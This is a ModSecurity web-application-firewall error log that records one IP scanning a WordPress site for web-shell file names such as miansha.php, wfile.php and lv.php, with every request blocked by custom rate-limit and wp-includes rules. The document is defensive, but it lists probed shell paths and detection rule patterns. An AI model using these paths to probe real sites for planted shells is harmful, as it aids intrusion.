[Sun Dec 21 20:02:26.525969 2025] [:error] [pid 59070:tid 59135] [client 20.2.26.82:16399] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "aUfh0n3dhXne9KX1kgIlPwAAAIc"]
[Sun Dec 21 20:02:26.837686 2025] [:error] [pid 59067:tid 59080] [client 20.2.26.82:16465] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ext.php"] [unique_id "aUfh0stpsOP1NfIK_qJCrgAAAAY"]
[Sun Dec 21 20:02:27.163399 2025] [:error] [pid 59067:tid 59093] [client 20.2.26.82:16487] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/himu.php"] [unique_id "aUfh08tpsOP1NfIK_qJCsAAAABM"]
[Sun Dec 21 20:02:27.492422 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:16505] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/himu.php"] [unique_id "aUfh033dhXne9KX1kgIlQwAAAJU"]
[Sun Dec 21 20:02:27.808836 2025] [:error] [pid 59068:tid 59104] [client 20.2.26.82:1806] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/himu.php"] [unique_id "aUfh0xmLyLqWUlrjwydvEgAAAEM"]
[Sun Dec 21 20:02:28.139543 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:16483] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/himu.php"] [unique_id "aUfh1BmLyLqWUlrjwydvEwAAAFM"]
[Sun Dec 21 20:02:28.471437 2025] [:error] [pid 59158:tid 59167] [client 20.2.26.82:16393] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wfile.php"] [unique_id "aUfh1I7NvyNF8ab5VgUe2AAAAMc"]
[Sun Dec 21 20:02:28.770457 2025] [:error] [pid 59158:tid 59169] [client 20.2.26.82:16459] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wfile.php"] [unique_id "aUfh1I7NvyNF8ab5VgUe2wAAAMk"]
[Sun Dec 21 20:02:29.067579 2025] [:error] [pid 59158:tid 59166] [client 20.2.26.82:16441] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wfile.php"] [unique_id "aUfh1Y7NvyNF8ab5VgUe3wAAAMY"]
[Sun Dec 21 20:02:29.373273 2025] [:error] [pid 59070:tid 59129] [client 20.2.26.82:16471] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wfile.php"] [unique_id "aUfh1X3dhXne9KX1kgIlTAAAAIE"]
[Sun Dec 21 20:02:29.686042 2025] [:error] [pid 59067:tid 59088] [client 20.2.26.82:2047] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aUfh1ctpsOP1NfIK_qJCswAAAA4"]
[Sun Dec 21 20:02:29.990136 2025] [:error] [pid 59067:tid 59087] [client 20.2.26.82:16492] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aUfh1ctpsOP1NfIK_qJCtgAAAA0"]
[Sun Dec 21 20:02:30.297808 2025] [:error] [pid 59070:tid 59141] [client 20.2.26.82:1791] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aUfh1n3dhXne9KX1kgIlTgAAAI0"]
[Sun Dec 21 20:02:30.630027 2025] [:error] [pid 59067:tid 59095] [client 20.2.26.82:16431] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp.php"] [unique_id "aUfh1stpsOP1NfIK_qJCuQAAABU"]
[Sun Dec 21 20:02:30.951312 2025] [:error] [pid 59158:tid 59168] [client 20.2.26.82:16404] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miansha.php"] [unique_id "aUfh1o7NvyNF8ab5VgUe7AAAAMg"]
[Sun Dec 21 20:02:31.285846 2025] [:error] [pid 59067:tid 59078] [client 20.2.26.82:1997] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miansha.php"] [unique_id "aUfh18tpsOP1NfIK_qJCvQAAAAQ"]
[Sun Dec 21 20:02:31.618455 2025] [:error] [pid 59158:tid 59166] [client 20.2.26.82:1890] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miansha.php"] [unique_id "aUfh147NvyNF8ab5VgUe7gAAAMY"]
[Sun Dec 21 20:02:31.989965 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:1666] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/miansha.php"] [unique_id "aUfh133dhXne9KX1kgIlUQAAAJQ"]
[Sun Dec 21 20:02:32.302381 2025] [:error] [pid 59068:tid 59116] [client 20.2.26.82:16466] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aUfh2BmLyLqWUlrjwydvHAAAAE8"]
[Sun Dec 21 20:02:32.614002 2025] [:error] [pid 59070:tid 59140] [client 20.2.26.82:1606] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aUfh2H3dhXne9KX1kgIlWAAAAIw"]
[Sun Dec 21 20:02:32.943384 2025] [:error] [pid 59158:tid 59184] [client 20.2.26.82:16452] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aUfh2I7NvyNF8ab5VgUe9QAAANg"]
[Sun Dec 21 20:02:33.250061 2025] [:error] [pid 59070:tid 59135] [client 20.2.26.82:16470] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/test2.php"] [unique_id "aUfh2X3dhXne9KX1kgIlWwAAAIc"]
[Sun Dec 21 20:02:33.558880 2025] [:error] [pid 59158:tid 59170] [client 20.2.26.82:16416] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUfh2Y7NvyNF8ab5VgUe-AAAAMo"]
[Sun Dec 21 20:02:33.862805 2025] [:error] [pid 59070:tid 59149] [client 20.2.26.82:16484] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUfh2X3dhXne9KX1kgIlYgAAAJU"]
[Sun Dec 21 20:02:34.149251 2025] [:error] [pid 59068:tid 59111] [client 20.2.26.82:1685] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUfh2hmLyLqWUlrjwydvJwAAAEo"]
[Sun Dec 21 20:02:34.442346 2025] [:error] [pid 59068:tid 59101] [client 20.2.26.82:1710] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aUfh2hmLyLqWUlrjwydvLQAAAEA"]
[Sun Dec 21 20:02:34.766071 2025] [:error] [pid 59070:tid 59147] [client 20.2.26.82:16498] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUfh2n3dhXne9KX1kgIlagAAAJM"]
[Sun Dec 21 20:02:35.063216 2025] [:error] [pid 59068:tid 59104] [client 20.2.26.82:16394] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUfh2xmLyLqWUlrjwydvNQAAAEM"]
[Sun Dec 21 20:02:35.368123 2025] [:error] [pid 59070:tid 59130] [client 20.2.26.82:16475] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUfh233dhXne9KX1kgIlbQAAAII"]
[Sun Dec 21 20:02:35.668690 2025] [:error] [pid 59070:tid 59148] [client 20.2.26.82:16385] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-links-opml.php"] [unique_id "aUfh233dhXne9KX1kgIlbwAAAJQ"]
[Sun Dec 21 20:02:35.989248 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:16400] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aUfh233dhXne9KX1kgIlcQAAAIU"]
[Sun Dec 21 20:02:36.277331 2025] [:error] [pid 59070:tid 59146] [client 20.2.26.82:16500] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aUfh3H3dhXne9KX1kgIlcwAAAJI"]
[Sun Dec 21 20:02:36.542953 2025] [:error] [pid 59068:tid 59114] [client 20.2.26.82:16409] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aUfh3BmLyLqWUlrjwydvNwAAAE0"]
[Sun Dec 21 20:02:36.829361 2025] [:error] [pid 59067:tid 59080] [client 20.2.26.82:16501] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mah.php"] [unique_id "aUfh3MtpsOP1NfIK_qJC1gAAAAY"]
[Sun Dec 21 20:02:37.141120 2025] [:error] [pid 59070:tid 59147] [client 20.2.26.82:16413] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUfh3X3dhXne9KX1kgIleAAAAJM"]
[Sun Dec 21 20:02:37.447745 2025] [:error] [pid 59070:tid 59131] [client 20.2.26.82:16453] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUfh3X3dhXne9KX1kgIlewAAAIM"]
[Sun Dec 21 20:02:37.778226 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:16414] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUfh3Y7NvyNF8ab5VgUfBwAAANI"]
[Sun Dec 21 20:02:38.096351 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:16411] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/asas.php"] [unique_id "aUfh3n3dhXne9KX1kgIlfwAAAIU"]
[Sun Dec 21 20:02:38.429609 2025] [:error] [pid 59158:tid 59177] [client 20.2.26.82:1922] [client 20.2.26.82] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aUfh3o7NvyNF8ab5VgUfCgAAANE"]
[Sun Dec 21 20:02:38.756401 2025] [:error] [pid 59158:tid 59161] [client 20.2.26.82:2001] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aUfh3o7NvyNF8ab5VgUfCwAAAME"]
[Sun Dec 21 20:02:39.083533 2025] [:error] [pid 59067:tid 59086] [client 20.2.26.82:16496] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aUfh38tpsOP1NfIK_qJC2QAAAAw"]
[Sun Dec 21 20:02:39.422134 2025] [:error] [pid 59068:tid 59113] [client 20.2.26.82:16460] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aUfh3xmLyLqWUlrjwydvOgAAAEw"]
[Sun Dec 21 20:02:39.741120 2025] [:error] [pid 59070:tid 59130] [client 20.2.26.82:1990] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mans.php"] [unique_id "aUfh333dhXne9KX1kgIlhQAAAII"]
[Sun Dec 21 20:02:40.054148 2025] [:error] [pid 59068:tid 59112] [client 20.2.26.82:16494] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/build.php"] [unique_id "aUfh4BmLyLqWUlrjwydvOwAAAEs"]
[Sun Dec 21 20:02:40.337321 2025] [:error] [pid 59068:tid 59102] [client 20.2.26.82:16504] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/build.php"] [unique_id "aUfh4BmLyLqWUlrjwydvPQAAAEE"]
[Sun Dec 21 20:02:40.642524 2025] [:error] [pid 59070:tid 59133] [client 20.2.26.82:16468] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/build.php"] [unique_id "aUfh4H3dhXne9KX1kgIligAAAIU"]
[Sun Dec 21 20:02:40.926264 2025] [:error] [pid 59070:tid 59151] [client 20.2.26.82:16482] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/build.php"] [unique_id "aUfh4H3dhXne9KX1kgIliwAAAJc"]
[Sun Dec 21 20:02:41.233565 2025] [:error] [pid 59158:tid 59178] [client 20.2.26.82:16467] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aUfh4Y7NvyNF8ab5VgUfEwAAANI"]
[Sun Dec 21 20:02:41.539650 2025] [:error] [pid 59070:tid 59147] [client 20.2.26.82:16449] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aUfh4X3dhXne9KX1kgIlkgAAAJM"]
[Sun Dec 21 20:02:41.852267 2025] [:error] [pid 59067:tid 59092] [client 20.2.26.82:1965] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aUfh4ctpsOP1NfIK_qJC4AAAABI"]
[Sun Dec 21 20:02:42.176849 2025] [:error] [pid 59070:tid 59131] [client 20.2.26.82:16425] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/atomlib.php"] [unique_id "aUfh4n3dhXne9KX1kgIllgAAAIM"]
[Sun Dec 21 20:02:42.479168 2025] [:error] [pid 59067:tid 59082] [client 20.2.26.82:16419] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aUfh4stpsOP1NfIK_qJC4gAAAAg"]
[Sun Dec 21 20:02:42.748895 2025] [:error] [pid 59068:tid 59120] [client 20.2.26.82:16489] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aUfh4hmLyLqWUlrjwydvPwAAAFM"]
[Sun Dec 21 20:02:43.046477 2025] [:error] [pid 59068:tid 59124] [client 20.2.26.82:16427] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aUfh4xmLyLqWUlrjwydvQQAAAFc"]
[Sun Dec 21 20:02:43.326210 2025] [:error] [pid 59158:tid 59164] [client 20.2.26.82:2008] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lib.php"] [unique_id "aUfh447NvyNF8ab5VgUfFgAAAMQ"]
[Sun Dec 21 20:02:43.623011 2025] [:error] [pid 59158:tid 59161] [client 20.2.26.82:16438] [client 20.2.26.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lv.php"] [unique_id "aUfh447NvyNF8ab5VgUfFwAAAME"]
